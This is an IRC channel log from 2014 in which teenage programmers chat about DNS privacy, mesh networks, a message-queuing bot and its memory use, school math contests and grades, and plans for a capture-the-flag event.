[2014-12-15T22:25:54-0500] <bob_twinkles> oh, huh
[2014-12-15T22:26:10-0500] <bob_twinkles> maybe that was like the charge per gtld after some base price
[2014-12-15T22:26:27-0500] <@awe> bob_twinkles: You can get all your friends to use your DNS server, too!
[2014-12-15T22:26:43-0500] <bob_twinkles> but then I would have to be like responsible or something
[2014-12-15T22:27:01-0500] <@awe> That's actually an interesting way to run a private service between friends.
[2014-12-15T22:27:12-0500] <@awe> Set up a secret DNS server.
[2014-12-15T22:27:28-0500] <nezorg> "private"
[2014-12-15T22:27:40-0500] <nezorg> might work for ipv6
[2014-12-15T22:27:49-0500] <nezorg> but ipv4 address space is too small
[2014-12-15T22:27:52-0500] <@awe> That's true.
[2014-12-15T22:29:14-0500] <@awe> nezorg: if it was a website, you could have it reject requests that aren't from the correct domain.
[2014-12-15T22:29:32-0500] <bob_twinkles> what if your friends are out of their house though
[2014-12-15T22:29:41-0500] <nezorg> and dns is all plaintext
[2014-12-15T22:30:18-0500] <nezorg> quick, everyone switch to dnscurve!
[2014-12-15T22:30:21-0500] <@awe> bob_twinkles: depends on what the service needs.
[2014-12-15T22:30:28-0500] <bob_twinkles> isn't there an extension that allows you to do TLS for DNS requests?
[2014-12-15T22:30:29-0500] <@awe> nezorg: or cjdns
[2014-12-15T22:31:06-0500] <nezorg> awe: dnscurve would be way less disruptive, though
[2014-12-15T22:33:30-0500] <nezorg> why does mesh stuff always seem to die
[2014-12-15T22:34:23-0500] <@awe> Probably because it's painfully inaccessible.
[2014-12-15T22:37:56-0500] <@awe> And it doesn't meet an immediate need.
[2014-12-15T22:38:08-0500] <@awe> The popularity of BitTorrent was spurred by piracy.
[2014-12-15T22:38:22-0500] <@awe> The popularity of Tor was spurred by buying drugs online.
[2014-12-15T22:41:46-0500] <+hardmath123> Why isn't there a decent DNS-over-cryptocurrency standard yet?
[2014-12-15T22:42:04-0500] <+hardmath123> I mean, there's Namecoin, but it's sort of a mess.
[2014-12-15T22:44:31-0500] <+hardmath123> https://wiki.namecoin.info/index.php?title=Domain_Name_Specification
[2014-12-15T22:46:18-0500] <Pharyngeal> cjdns is still living
[2014-12-15T22:46:24-0500] <Pharyngeal> Especially through hyperboria
[2014-12-15T22:46:30-0500] <Pharyngeal> It's also growing
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[2014-12-16T03:29:38-0500] <@awe> Pharyngeal: So, you're Jacob Henner?
[2014-12-16T03:29:46-0500] <Pharyngeal> awe: Perhaps?
[2014-12-16T03:29:56-0500] <@awe> Yet another Jacob.
[2014-12-16T03:30:04-0500] <Pharyngeal> Perhaps xD 
[2014-12-16T03:30:12-0500] <Pharyngeal> What makes you think that's me?
[2014-12-16T03:30:29-0500] <@awe> You're suddenly following me, and you've forked cjdns.
[2014-12-16T03:30:40-0500] <Pharyngeal> Oh, interesting
[2014-12-16T03:40:24-0500] <Pharyngeal> Unfortunately, I think you've confused me for someone else ;)
[2014-12-16T03:43:21-0500] <@awe> It's probably for the better. Too many Jacobs here as is.
[2014-12-16T03:43:30-0500] <Pharyngeal> Definitely
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[2014-12-16T14:52:18-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-12-16T14:52:18-0500] Set by Pidgey on December 4, 2014 at 1:18:14 PM EST
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[2014-12-16T17:12:16-0500] • NotAPharynx: raves
[2014-12-16T17:56:15-0500] <+JacobEdelman> I have fixed larks ugly code
[2014-12-16T17:56:18-0500] <+JacobEdelman> I used jslint
[2014-12-16T17:56:26-0500] <+JacobEdelman> js beautifier 
[2014-12-16T17:56:44-0500] <+JacobEdelman> fixjsstyle (from the google clojure compiler) 
[2014-12-16T17:57:16-0500] <+JacobEdelman> *closure
[2014-12-16T17:57:25-0500] <+JacobEdelman> and manually fixed comment lengths myself
[2014-12-16T18:49:49-0500] <@awe> NotAPharynx: you go to raves?
[2014-12-16T18:49:55-0500] <NotAPharynx> awe: no
[2014-12-16T18:50:26-0500] <@awe> Unfortunate.
[2014-12-16T18:51:07-0500] <NotAPharynx> :P
[2014-12-16T20:23:32-0500] awe has userhost awe@irc.pdgn.co and real name "Aaron Weiss"
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[2014-12-16T20:25:37-0500] <@awe> @tell JacobEdelman your programming language makes me sad.
[2014-12-16T20:25:37-0500] <mailbot> awe: I'll let them know!
[2014-12-16T20:26:01-0500] <@awe> @tell NotAPharynx I suspect that you might be a Pharynx.
[2014-12-16T20:26:01-0500] <mailbot> awe: I'll let them know!
[2014-12-16T20:26:34-0500] <@awe> For the record, I changed server settings to allow more IRCCloud clients.
[2014-12-16T20:26:44-0500] <@awe> @tell awe lol
[2014-12-16T20:26:44-0500] <mailbot> awe: I'll let them know!
[2014-12-16T20:26:44-0500] <mailbot> awe: Moments ago, awe said lol.
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[2014-12-16T20:33:47-0500] <@awe> There we go.
[2014-12-16T20:34:01-0500] <@awe> Hostname masks are on for IRCCloud and my server again.
[2014-12-16T20:34:22-0500] <@awe> @tell Tamini We have mail support now!
[2014-12-16T20:34:22-0500] <mailbot> awe: I'll let them know!
[2014-12-16T20:35:26-0500] <+Tamini> awe: whoa.
[2014-12-16T20:35:26-0500] <mailbot> Tamini: A minute ago, awe said We have mail support now!
[2014-12-16T20:35:30-0500] <+Tamini> <3
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[2014-12-16T21:20:25-0500] <NotAPharynx> My town's school district is proposing student tracking systems o_o I pity the students who go there.
[2014-12-16T21:20:25-0500] <mailbot> NotAPharynx: 54 minutes ago, awe said I suspect that you might be a Pharynx.
[2014-12-16T21:20:38-0500] <+Tamini> whoa
[2014-12-16T21:20:42-0500] <+Tamini> how many people did he leave messages for
[2014-12-16T21:21:08-0500] <NotAPharynx> mailbot: You should use PMs
[2014-12-16T21:21:10-0500] <alokpathy> What's this mailbot
[2014-12-16T21:21:27-0500] <NotAPharynx> @tell awe mailbot should use PMs
[2014-12-16T21:21:27-0500] <mailbot> NotAPharynx: I'll let them know!
[2014-12-16T21:25:13-0500] <+Tamini> @tell alokpathy it basically delivers messages to you when you're back
[2014-12-16T21:25:13-0500] <mailbot> Tamini: I'll let them know!
[2014-12-16T21:25:13-0500] <@awe> Eh.
[2014-12-16T21:25:13-0500] <mailbot> awe: 3 minutes ago, NotAPharynx said mailbot should use PMs.
[2014-12-16T21:25:32-0500] <@awe> I don't want to have to switch buffers.
[2014-12-16T21:28:27-0500] <+ubuntor> yay, finally got X11 configured
[2014-12-16T21:28:37-0500] <+ubuntor> test @tell ubuntor test
[2014-12-16T21:40:39-0500] <+LittleBobbyTables> Did it work
[2014-12-16T21:41:11-0500] <+ubuntor> nope
[2014-12-16T21:41:11-0500] <mailbot> ubuntor: A minute ago, bob_twinkles said your test failed.
[2014-12-16T21:41:22-0500] <bob_twinkles> =D
[2014-12-16T21:41:33-0500] <+ubuntor> well, there goes the idea of an infinite loop
[2014-12-16T21:42:41-0500] <+Tamini> oh 
[2014-12-16T21:42:43-0500] <+Tamini> can you pm mail?
[2014-12-16T21:42:45-0500] <+Tamini> hm
[2014-12-16T21:42:50-0500] <bob_twinkles> yep
[2014-12-16T21:43:11-0500] <+Tamini> :P
[2014-12-16T21:44:31-0500] <+Tamini> this should be fun.
[2014-12-16T21:48:22-0500] <@awe> Oh god.
[2014-12-16T21:48:22-0500] <mailbot> awe: 8 minutes ago, bob_twinkles said oooh scheduling from PMs.
[2014-12-16T21:48:29-0500] <@awe> bob_twinkles: Yes, I did support it.
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[2014-12-16T21:51:05-0500] <+test> test
[2014-12-16T21:51:05-0500] <mailbot> test: Moments ago, ubuntor said test1.
[2014-12-16T21:51:05-0500] <mailbot> test: Moments ago, ubuntor said test2.
[2014-12-16T21:51:05-0500] <mailbot> test: Moments ago, ubuntor said test3.
[2014-12-16T21:51:05-0500] <mailbot> test: Moments ago, ubuntor said test.
[2014-12-16T21:51:08-0500] <+test> ok
[2014-12-16T21:51:11-0500] test is now known as ubuntor
[2014-12-16T21:52:18-0500] <+LittleBobbyTables> test
[2014-12-16T21:54:21-0500] <+Tamini> wait, schedulung from pms? :O
[2014-12-16T21:54:28-0500] <+Tamini> scheduling*
[2014-12-16T22:05:22-0500] <@awe> Tamini: he meant that you can mail them.
[2014-12-16T22:05:41-0500] <+Tamini> ah.
[2014-12-16T22:06:01-0500] <@awe> ubuntor: As is always the case, my bot doesn't process messages in things it says.
[2014-12-16T22:06:14-0500] <@awe> ubuntor: So, even if you got it to say "@tell mailbot something that will make it say this"
[2014-12-16T22:06:20-0500] <@awe> ubuntor: It wouldn't loop.
[2014-12-16T22:06:23-0500] <+ubuntor> darn
[2014-12-16T22:06:24-0500] <+ubuntor> ok
[2014-12-16T22:19:22-0500] <+LittleBobbyTables> awe: how long is "moments ago"?
[2014-12-16T22:19:29-0500] <@awe> Under a minute.
[2014-12-16T22:19:52-0500] <+LittleBobbyTables> Then every minute after that?
[2014-12-16T22:20:27-0500] <@awe> [21:41:11]  <mailbot>	ubuntor: A minute ago, bob_twinkles said your test failed.
[2014-12-16T22:20:32-0500] <@awe> [21:48:22]  <mailbot>	awe: 8 minutes ago, bob_twinkles said oooh scheduling from PMs.
[2014-12-16T22:20:36-0500] <@awe> LittleBobbyTables: ^
[2014-12-16T22:21:26-0500] <+LittleBobbyTables> Does it do like an hour and one minute, or every "major" increment? minute, then hours, then days, etc.
[2014-12-16T22:21:58-0500] <@awe> Minutes ago
[2014-12-16T22:21:59-0500] <@awe> then Hours ago
[2014-12-16T22:22:01-0500] <@awe> then days ago
[2014-12-16T22:22:10-0500] <@awe> So, it'd be like
[2014-12-16T22:22:13-0500] <@awe> An hour ago, ...
[2014-12-16T22:22:17-0500] <@awe> A day ago, ...
[2014-12-16T22:22:19-0500] <@awe> A week ago, ...
[2014-12-16T22:22:24-0500] <+LittleBobbyTables> So yeah, every major increment?
[2014-12-16T22:22:35-0500] <@awe> Yup.
[2014-12-16T22:22:43-0500] <+LittleBobbyTables> Can I set a reminder? Like, in x whatever, tell person this
[2014-12-16T22:23:43-0500] <@awe> No.
[2014-12-16T22:23:52-0500] <+LittleBobbyTables> Can you add that? <3
[2014-12-16T22:23:56-0500] <@awe> Maybe.
[2014-12-16T22:25:38-0500] <+Tamini> that would be convenient
[2014-12-16T22:25:38-0500] <mailbot> Tamini: 8 minutes ago, LittleBobbyTables said nurd.
[2014-12-16T22:25:40-0500] <+Tamini> :P
[2014-12-16T22:25:41-0500] <+Tamini> WOW
[2014-12-16T22:25:50-0500] <+Tamini> LittleBobbyTables: who are you calling a nerd, nerd
[2014-12-16T22:26:43-0500] <+LittleBobbyTables> I didn't call anyone a nerd.
[2014-12-16T22:27:44-0500] <+ubuntor> technically correct
[2014-12-16T22:28:50-0500] <+LittleBobbyTables> The best kind of correct
[2014-12-16T22:52:16-0500] <+hardmath123[zzz]> GRRRrrrRRRRrRRRRRRRr I TOTALLY HAD THAT LAST USAMTS PROBLEM WHY DIDN'T I JUST WRITE MY ANSWER WHY DO I DOUBT MYSELF KILL ME NOW
[2014-12-16T22:52:19-0500] <+hardmath123[zzz]> rant over
[2014-12-16T22:52:23-0500] hardmath123[zzz] is now known as hardmath123
[2014-12-16T22:52:39-0500] <+Tamini> hardmath123: dude
[2014-12-16T22:52:39-0500] <+hardmath123> sorry
[2014-12-16T22:52:42-0500] <+Tamini> its okay
[2014-12-16T22:52:46-0500] <+Tamini> dont worry about it :P
[2014-12-16T22:53:02-0500] <+hardmath123> Tamini: IT'S NOT OKAY
[2014-12-16T22:53:46-0500] <+hardmath123> Tamini: CONTRARY TO WHAT BOB MARLEY MAY SAY, EVERYTHING WILL NOT BE ALRIGHT
[2014-12-16T22:54:11-0500] <+Tamini> LOL
[2014-12-16T22:54:16-0500] <+Tamini> breathe, sloooowly
[2014-12-16T22:54:31-0500] • hardmath123: chokes on a banana.
[2014-12-16T22:54:32-0500] <+Tamini> repeat after me
[2014-12-16T22:54:37-0500] <+Tamini> "this is not the end of the world"
[2014-12-16T22:55:10-0500] <+hardmath123> "this is not the end of the world"
[2014-12-16T22:55:26-0500] <+hardmath123> hmm
[2014-12-16T22:55:29-0500] <+hardmath123> that feels better
[2014-12-16T22:55:37-0500] <+hardmath123> though it could have been the banana
[2014-12-16T22:55:43-0500] <+hardmath123> nevertheless, thanks
[2014-12-16T22:57:02-0500] <+Tamini> :P
[2014-12-16T22:57:03-0500] <+Tamini> no problem.
[2014-12-16T22:57:07-0500] <+Tamini> i didnt even usamts this year
[2014-12-16T22:57:12-0500] <+Tamini> i was like "I could, or I could sleep"
[2014-12-16T23:00:01-0500] <+hardmath123> but usamts is like the only math competition i have respect for
[2014-12-16T23:00:51-0500] <+Tamini> lol
[2014-12-16T23:00:57-0500] <+Tamini> not the rest of amcs?
[2014-12-16T23:02:36-0500] JacobEdelman (uid15877@pdgn-dot.9lf.7cuf9e.IP) left IRC (Quit: Connection closed for inactivity)
[2014-12-16T23:04:56-0500] <+hardmath123> Tamini: not really, no.
[2014-12-16T23:07:56-0500] <+Tamini> why not?
[2014-12-16T23:08:00-0500] <+Tamini> time constraint?
[2014-12-16T23:11:27-0500] <+hardmath123> time constraint, lack of proofs, too much competition
[2014-12-16T23:12:14-0500] <+Tamini> how about usamo? :P
[2014-12-16T23:12:18-0500] <+Tamini> or yknow
[2014-12-16T23:12:19-0500] <+Tamini> jaymo
[2014-12-16T23:13:17-0500] <+hardmath123> haven't made usaj?mo
[2014-12-16T23:14:22-0500] <+Tamini> ah
[2014-12-16T23:14:25-0500] <+Tamini> how old are you?
[2014-12-16T23:15:13-0500] <+hardmath123> 15
[2014-12-16T23:16:27-0500] <+LittleBobbyTables> Isn't Tamini like 12
[2014-12-16T23:16:55-0500] <+Tamini> LittleBobbyTables: I turned 17 yesterday, get out.
[2014-12-16T23:17:08-0500] <+LittleBobbyTables> You skipped like 5 years
[2014-12-16T23:17:39-0500] <+Tamini> yes obv
[2014-12-16T23:18:55-0500] <+LittleBobbyTables> waow
[2014-12-16T23:18:58-0500] <+LittleBobbyTables> teach me your ways
[2014-12-16T23:20:24-0500] <+Tamini> arent you supposed to wanna like
[2014-12-16T23:20:27-0500] <+Tamini> age slower not faster
[2014-12-16T23:22:12-0500] <+LittleBobbyTables> I wanna skip the dumb years of life though.
[2014-12-16T23:22:27-0500] <+LittleBobbyTables> I'm at that age where I'm still a stupid teen, but I can get in trouble for it.
[2014-12-16T23:22:39-0500] <+LittleBobbyTables> I want to skip to the whole "I'm not that stupid anymore, or at least not get caught" stage.
[2014-12-16T23:25:45-0500] <+Tamini> LOL
[2014-12-16T23:30:46-0500] <@awe> [22:53:46]  <+hardmath123>	Tamini: CONTRARY TO WHAT BOB MARLEY MAY SAY, EVERYTHING WILL NOT BE ALRIGHT
[2014-12-16T23:30:51-0500] <@awe> hardmath123: just light one up, and everything will be okay.
[2014-12-16T23:31:43-0500] <bob_twinkles> which was Bob Marley's strategy, so I guess it works out sometime
[2014-12-16T23:31:43-0500] <mailbot> bob_twinkles: An hour ago, Tamini said I have a C+ in multi :D.
[2014-12-16T23:31:55-0500] <bob_twinkles> Tamini: high five!
[2014-12-16T23:33:07-0500] <+Tamini> :D
[2014-12-16T23:33:19-0500] <+Tamini> that 0/20 on a hwq killed errything
[2014-12-16T23:33:33-0500] <+hardmath123> mailbot: how do i use you?
[2014-12-16T23:33:48-0500] <bob_twinkles> I have a 6/20 even with the drop =(
[2014-12-16T23:33:54-0500] <bob_twinkles> @tell hardmath123 like this
[2014-12-16T23:33:54-0500] <mailbot> bob_twinkles: I'll let them know!
[2014-12-16T23:35:02-0500] <+hardmath123> @tell JacobEdelman push your whitespace-friendly Lark so that we mortals can read it
[2014-12-16T23:35:02-0500] <mailbot> hardmath123: I'll let them know!
[2014-12-16T23:35:02-0500] <mailbot> hardmath123: A minute ago, bob_twinkles said like this.
[2014-12-16T23:35:14-0500] <+hardmath123> this is very nice.
[2014-12-16T23:52:27-0500] <+Tamini> bob_twinkles: omg this last one? <3
[2014-12-16T23:52:30-0500] <+Tamini> ME TOO
[2014-12-16T23:52:36-0500] <+Tamini> I WALKED IN 5 MINUTES LATE GG
[2014-12-16T23:52:48-0500] <bob_twinkles> Tamini: no I think I did OK on this one
[2014-12-16T23:52:55-0500] <bob_twinkles> the one I got a 6 on I just bombed
[2014-12-16T23:52:58-0500] <+Tamini> this last one i got like
[2014-12-16T23:53:00-0500] <+Tamini> bad
[2014-12-16T23:53:04-0500] <bob_twinkles> and the one I got a zero on was because I didn't go to school
[2014-12-16T23:53:08-0500] <+Tamini> because i had enough time to copy down the 2 hwq problems i did
[2014-12-16T23:53:14-0500] <+Tamini> for actual homework
[2014-12-16T23:53:18-0500] <+Tamini> then he was like "k time's up"
[2014-12-16T23:53:22-0500] <+Tamini> and i was like "godamn dr dell"
[2014-12-16T23:53:46-0500] <bob_twinkles> =(
[2014-12-16T23:54:29-0500] <+Tamini> its okay my test averages will save me (lol)
[2014-12-17T00:02:09-0500] <@awe> hardmath123: you should know by now that I don't do help messages. ;)
[2014-12-17T00:21:13-0500] <@awe> bob_twinkles: http://gfx-rs.github.io/2014/07/25/intro.html
[2014-12-17T00:21:17-0500] <@awe> bob_twinkles: this is beautiful.
[2014-12-17T00:21:57-0500] <bob_twinkles> not much better than my C++ =P
[2014-12-17T00:23:50-0500] <bob_twinkles> admittedly this is my main file https://github.com/bobtwinkles/voxelvolume/blob/master/Main.cpp
[2014-12-17T00:24:36-0500] <+Tamini> WAIT alokpathy idea:
[2014-12-17T00:24:47-0500] <+Tamini> ctf in the form of interactive fiction, yes? <3
[2014-12-17T00:24:55-0500] <alokpathy> Wait what do you mean?
[2014-12-17T00:24:55-0500] <mailbot> alokpathy: 2 hours ago, Tamini said it basically delivers messages to you when you're back.
[2014-12-17T00:25:06-0500] <+Tamini> yknow how mzhang wants to write a game
[2014-12-17T00:25:13-0500] <alokpathy> Yeah
[2014-12-17T00:25:14-0500] <+Tamini> make the entire ctf a text adventure
[2014-12-17T00:25:19-0500] <alokpathy> Yeah uh
[2014-12-17T00:25:23-0500] <alokpathy> that's what we were planning on doing
[2014-12-17T00:25:24-0500] <alokpathy> for HSCTF
[2014-12-17T00:25:25-0500] <alokpathy> LOL
[2014-12-17T00:25:26-0500] <+Tamini> LOL
[2014-12-17T00:25:28-0500] <+Tamini> GODDAMMIT ALOK
[2014-12-17T00:25:35-0500] <+Tamini> can you not let me have my moment :(
[2014-12-17T00:25:35-0500] <alokpathy> Oh dear no
[2014-12-17T00:25:38-0500] <alokpathy> I leaked info
[2014-12-17T00:25:41-0500] <alokpathy> nooo
[2014-12-17T00:25:42-0500] <+Tamini> :OOOO
[2014-12-17T00:25:47-0500] <+Tamini> do i have an
[2014-12-17T00:25:49-0500] <+Tamini> unfair advantage now
[2014-12-17T00:26:24-0500] <alokpathy> Yes
[2014-12-17T00:26:26-0500] <alokpathy> very unfair
[2014-12-17T00:26:34-0500] <alokpathy> I'm afraid you can't compete now.
[2014-12-17T00:26:46-0500] <+Tamini> @tell JacobEdelman alokpathy leaked info about hsctf :OO yell at him
[2014-12-17T00:26:46-0500] <mailbot> Tamini: I'll let them know!
[2014-12-17T00:27:01-0500] <+Tamini> :P
[2014-12-17T00:27:22-0500] <alokpathy> @tell JacobEdelman I didn't actually leak anything significant. 
[2014-12-17T00:27:22-0500] <mailbot> alokpathy: I'll let them know!
[2014-12-17T00:28:15-0500] <+Tamini> :P
[2014-12-17T00:28:16-0500] <+Tamini> hmm wait
[2014-12-17T00:28:19-0500] <+Tamini> what does this do
[2014-12-17T00:28:23-0500] <+Tamini> does it queue up
[2014-12-17T00:28:30-0500] <bob_twinkles> yes
[2014-12-17T00:28:35-0500] <bob_twinkles> @tell Tamini test1
[2014-12-17T00:28:35-0500] <mailbot> bob_twinkles: I'll let them know!
[2014-12-17T00:28:37-0500] <bob_twinkles> @tell Tamini test2
[2014-12-17T00:28:38-0500] <mailbot> bob_twinkles: I'll let them know!
[2014-12-17T00:28:48-0500] <@awe> bob_twinkles: I like how you're already confident about how it works.
[2014-12-17T00:28:52-0500] <@awe> bob_twinkles: did you read sauce?
[2014-12-17T00:29:03-0500] <bob_twinkles> no, but I've seen it queue messages before =P
[2014-12-17T00:29:08-0500] <@awe> Oh, okay.
[2014-12-17T00:29:13-0500] <+Tamini> hello hello
[2014-12-17T00:29:13-0500] <mailbot> Tamini: Moments ago, bob_twinkles said test1.
[2014-12-17T00:29:13-0500] <mailbot> Tamini: Moments ago, bob_twinkles said test2.
[2014-12-17T00:29:17-0500] <+Tamini> oh nice
[2014-12-17T00:29:18-0500] • alokpathy: goes to bed
[2014-12-17T00:29:23-0500] <bob_twinkles> when ubuntor was trying to break it
[2014-12-17T00:29:27-0500] <+Tamini> night apothy 
[2014-12-17T00:29:27-0500] <@awe> Jacob's going to get quite a few messages.
[2014-12-17T00:29:29-0500] <+Tamini> lol
[2014-12-17T00:29:33-0500] <+Tamini> awe: so theoretically
[2014-12-17T00:29:34-0500] <bob_twinkles> 'night alokpathy 
[2014-12-17T00:29:38-0500] <+Tamini> we could have an entire argument at jacob.
[2014-12-17T00:30:44-0500] <@awe> Yes, but don't.
[2014-12-17T00:31:12-0500] <bob_twinkles> hmmm
[2014-12-17T00:31:16-0500] <bob_twinkles> given sufficient resourecs
[2014-12-17T00:31:31-0500] <bob_twinkles> could I crash the server hosting mailbot by enqueing large numbers of messages
[2014-12-17T00:32:27-0500] <+Tamini> bob_twinkles: why dont we find out :D
[2014-12-17T00:32:43-0500] <bob_twinkles> well awe would probably get upset to start with
[2014-12-17T00:33:04-0500] <@awe> bob_twinkles: unsure.
[2014-12-17T00:33:16-0500] Hyper has userhost Hyper@pdgn-4jd.4t2.2bemd8.IP and real name "Hyper"
[2014-12-17T00:33:16-0500] Hyper is connecting from Hyper@104.236.15.100 104.236.15.100
[2014-12-17T00:33:16-0500] Hyper is on #pdgn 
[2014-12-17T00:33:16-0500] Hyper is connected on irc.pdgn.co (Pidgeon Company)
[2014-12-17T00:33:16-0500] Hyper is using modes +x
[2014-12-17T00:33:16-0500] Hyper is using a secure connection
[2014-12-17T00:33:16-0500] Hyper signed on at December 3, 2014 at 7:00:53 PM EST and has been idle for 3 days, 22 hours, 51 minutes, 48 seconds
[2014-12-17T00:33:20-0500] <@awe> bob_twinkles: if you did, Tamini, Hyper and I would all disconnect.
[2014-12-17T00:33:44-0500] <+Tamini> oh, right
[2014-12-17T00:33:46-0500] <+Tamini> you're hosting this
[2014-12-17T00:33:46-0500] <+Tamini> :P
[2014-12-17T00:33:49-0500] <Hyper> lol
[2014-12-17T00:33:49-0500] <+Tamini> also awe can we figure out like
[2014-12-17T00:33:53-0500] <+Tamini> the logging issue ._.
[2014-12-17T00:33:57-0500] <@awe> The logging issue?
[2014-12-17T00:33:58-0500] <@awe> hm?
[2014-12-17T00:33:58-0500] <bob_twinkles> well presumably everybody would disconnect
[2014-12-17T00:34:02-0500] <+Tamini> it doesn't log my pms
[2014-12-17T00:34:02-0500] <@awe> bob_twinkles: no.
[2014-12-17T00:34:08-0500] <@awe> bob_twinkles: mailbot is hosted on my other VPS.
[2014-12-17T00:34:09-0500] <+Tamini> which is more inconvenient than not
[2014-12-17T00:34:10-0500] <bob_twinkles> the ircd is running somewhere else?
[2014-12-17T00:34:11-0500] <bob_twinkles> oh ok
[2014-12-17T00:34:12-0500] <@awe> Yes.
[2014-12-17T00:34:21-0500] <@awe> One VPS has services, the ircd, and my website
[2014-12-17T00:34:28-0500] <@awe> The other has ZNC and mailbot.
[2014-12-17T00:34:36-0500] <bob_twinkles> what are the resource limits on mailbot/ZNC machine?
[2014-12-17T00:34:46-0500] <@awe> 512MB ram.
[2014-12-17T00:34:59-0500] <@awe> Unsure what my disk cap is.
[2014-12-17T00:35:13-0500] <bob_twinkles> mmm
[2014-12-17T00:35:20-0500] <bob_twinkles> that's a bit much for me to take out with just irc messages
[2014-12-17T00:35:29-0500] <bob_twinkles> only ~250 bytes each =P
[2014-12-17T00:35:36-0500] <@awe> Yeah.
[2014-12-17T00:36:00-0500] <@awe> So, let's take a hypothetical message to me.
[2014-12-17T00:36:17-0500] <@awe> It's stored in a hashmap mapping from String to Message.
[2014-12-17T00:36:24-0500] <@awe> The String is going to be "awe"
[2014-12-17T00:36:31-0500] <@awe> So, three bytes.
[2014-12-17T00:36:48-0500] <@awe> The message has a target, sender, message, and a timestamp.
[2014-12-17T00:36:54-0500] <@awe> The timestamp is unix time.
[2014-12-17T00:37:06-0500] <@awe> So, I have two 4-byte integers for the timestamp.
[2014-12-17T00:37:18-0500] <@awe> N. I have two eight-byte inegers.
[2014-12-17T00:37:20-0500] <@awe> integers*
[2014-12-17T00:37:33-0500] <@awe> So, that's 19 bytes plus another 3 for my name again.
[2014-12-17T00:37:34-0500] <@awe> 22.
[2014-12-17T00:37:46-0500] <@awe> Let's say bob_twinkles sent it. So, 12 bytes.
[2014-12-17T00:37:50-0500] <@awe> 34 bytes.
[2014-12-17T00:37:56-0500] <@awe> Let's say the message is 80 characters long.
[2014-12-17T00:38:03-0500] <@awe> 114 bytes.
[2014-12-17T00:38:14-0500] <bob_twinkles> I'd say every string has an overhead of at least 8-12 bytes for the data pointer + memory bookeeping (and I assume rust stores a length)
[2014-12-17T00:38:29-0500] <@awe> That's fair.
[2014-12-17T00:38:37-0500] <@awe> Let's be conservative and use 12 then.
[2014-12-17T00:38:53-0500] <@awe> 12*4 for 4 strings
[2014-12-17T00:39:01-0500] <@awe> 114 + 48 = 162 bytes.
[2014-12-17T00:39:29-0500] <@awe> 512 MB is ~536m bytes.
[2014-12-17T00:39:50-0500] <@awe> Or roughly 3.3m messages.
[2014-12-17T00:40:02-0500] <bob_twinkles> hmm
[2014-12-17T00:40:14-0500] <@awe> Of course, ZNC uses RAM.
[2014-12-17T00:40:41-0500] <@awe> You're definitely going to wipeout RAM before you wipeout disk space though.
[2014-12-17T00:41:27-0500] <bob_twinkles> on the other hand I could probably make your life bad by running a bot that just enqueues a hundred or so messages every time you talk
[2014-12-17T00:41:40-0500] <@awe> Yes.
[2014-12-17T00:41:59-0500] <bob_twinkles> it wouldn't be resource exaustion but it would accomplish my hypothetical goal of upseting you
[2014-12-17T00:42:07-0500] <@awe> That already happened on my other IRC server.
[2014-12-17T00:42:14-0500] <@awe> Guy has a bot with an F# interpreter.
[2014-12-17T00:42:25-0500] <bob_twinkles> oh good
[2014-12-17T00:42:27-0500] <@awe> So, he used it to flood hundreds of messages to this other dude.
[2014-12-17T00:42:29-0500] <bob_twinkles> arbitrary code execution
[2014-12-17T00:42:43-0500] <@awe> Only he's allowed to use the F# interpreter (or other people he enables it for)
[2014-12-17T00:42:56-0500] <@awe> And I think there's some sandboxing.
[2014-12-17T00:43:00-0500] <@awe> Maybe not though.
[2014-12-17T00:43:05-0500] <bob_twinkles> meh, still dangerous
[2014-12-17T00:43:18-0500] <@awe> Yes.
[2014-12-17T00:43:19-0500] <@awe> Very.
[2014-12-17T00:43:26-0500] <@awe> Not as bad as my sys plugin for awebot.
[2014-12-17T00:43:31-0500] <@awe> It's literally a terminal.
[2014-12-17T00:43:31-0500] <@awe> :D
[2014-12-17T00:44:02-0500] <bob_twinkles> I assume F# has some sort of System() call though
[2014-12-17T00:44:08-0500] <@awe> I think that might be excluded though.
[2014-12-17T00:44:10-0500] <@awe> I'm not sure.
[2014-12-17T00:45:00-0500] <@awe> I hope it's excluded.
[2014-12-17T00:45:30-0500] <@awe> Has anyone here played the Creatures games?
[2014-12-17T00:45:34-0500] <@awe> Or Docking Station?
[2014-12-17T00:47:15-0500] <+Tamini> has anyone played 100% orange juice?
[2014-12-17T00:47:23-0500] <+Tamini> a friend got it for me for my birthday, not sure how it is.
[2014-12-17T00:48:49-0500] <@awe> I want someone who's playing Creatures/DS because I'm considering revisiting the idea of making a clone of the games because they're from the 90s and barely work and are only available on Windows.
[2014-12-17T00:49:27-0500] <@awe> And also because they're games that are powered incredibly by user contribution, but aren't very well equipped to be modified by users.
[2014-12-17T00:49:30-0500] <@awe> Because again, the 90s.
[2014-12-17T00:59:25-0500] <+hardmath123> My chem teacher has the habit of sending mushy letters to us before tests.
[2014-12-17T00:59:31-0500] <+hardmath123> This last one is just beaufitul.
[2014-12-17T00:59:55-0500] <+hardmath123> "A few of you will fail with pride and continue to bravely weather the storms in your minds and homes and hearts, for surviving is what you do and this class is proof that you always will.  The presence of people whom you inspire in so doing is never an illusion."
[2014-12-17T01:01:12-0500] <@awe> Lol.
[2014-12-17T01:01:14-0500] <@awe> That's cute.
[2014-12-17T01:01:54-0500] <+hardmath123> Yeah.
[2014-12-17T01:02:14-0500] <+hardmath123> Also, what does "You will be given erasers that don't imperil your dental integrity.
[2014-12-17T01:02:17-0500] <+hardmath123> " mean?
[2014-12-17T01:03:31-0500] <+ubuntor> soft erasers that you can chew on?
[2014-12-17T01:05:58-0500] <nezorg> [22:04] (NotAPharynx) 21:20:25> My town's school district is proposing student tracking systems o_o I pity the students who go there.
[2014-12-17T01:06:13-0500] <nezorg> hopefully hackable ones!
[2014-12-17T01:06:23-0500] <nezorg> i.e. all security
[2014-12-17T01:07:24-0500] <+Tamini> lol nezorg of course you.
[2014-12-17T01:08:54-0500] <+hardmath123> i should sleep
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[2014-12-17T01:09:10-0500] <+hardmath123[zzz]> g'night all
[2014-12-17T01:14:52-0500] <nezorg> Tamini: I am reminded of little brother
[2014-12-17T01:15:31-0500] <nezorg> I enjoy being reminded of little brother
[2014-12-17T01:15:38-0500] <nezorg> it lets me justify my paranoia
[2014-12-17T01:16:00-0500] <+Tamini> heh
[2014-12-17T01:16:07-0500] <+Tamini> you're making me want to reread that book.
[2014-12-17T01:16:36-0500] <nezorg> it's a book worth rereading
[2014-12-17T01:17:42-0500] <+Tamini> i've already read it a bunch of times
[2014-12-17T01:17:53-0500] <+Tamini> I think it was the cause of me bonding with one of my friends, too :P
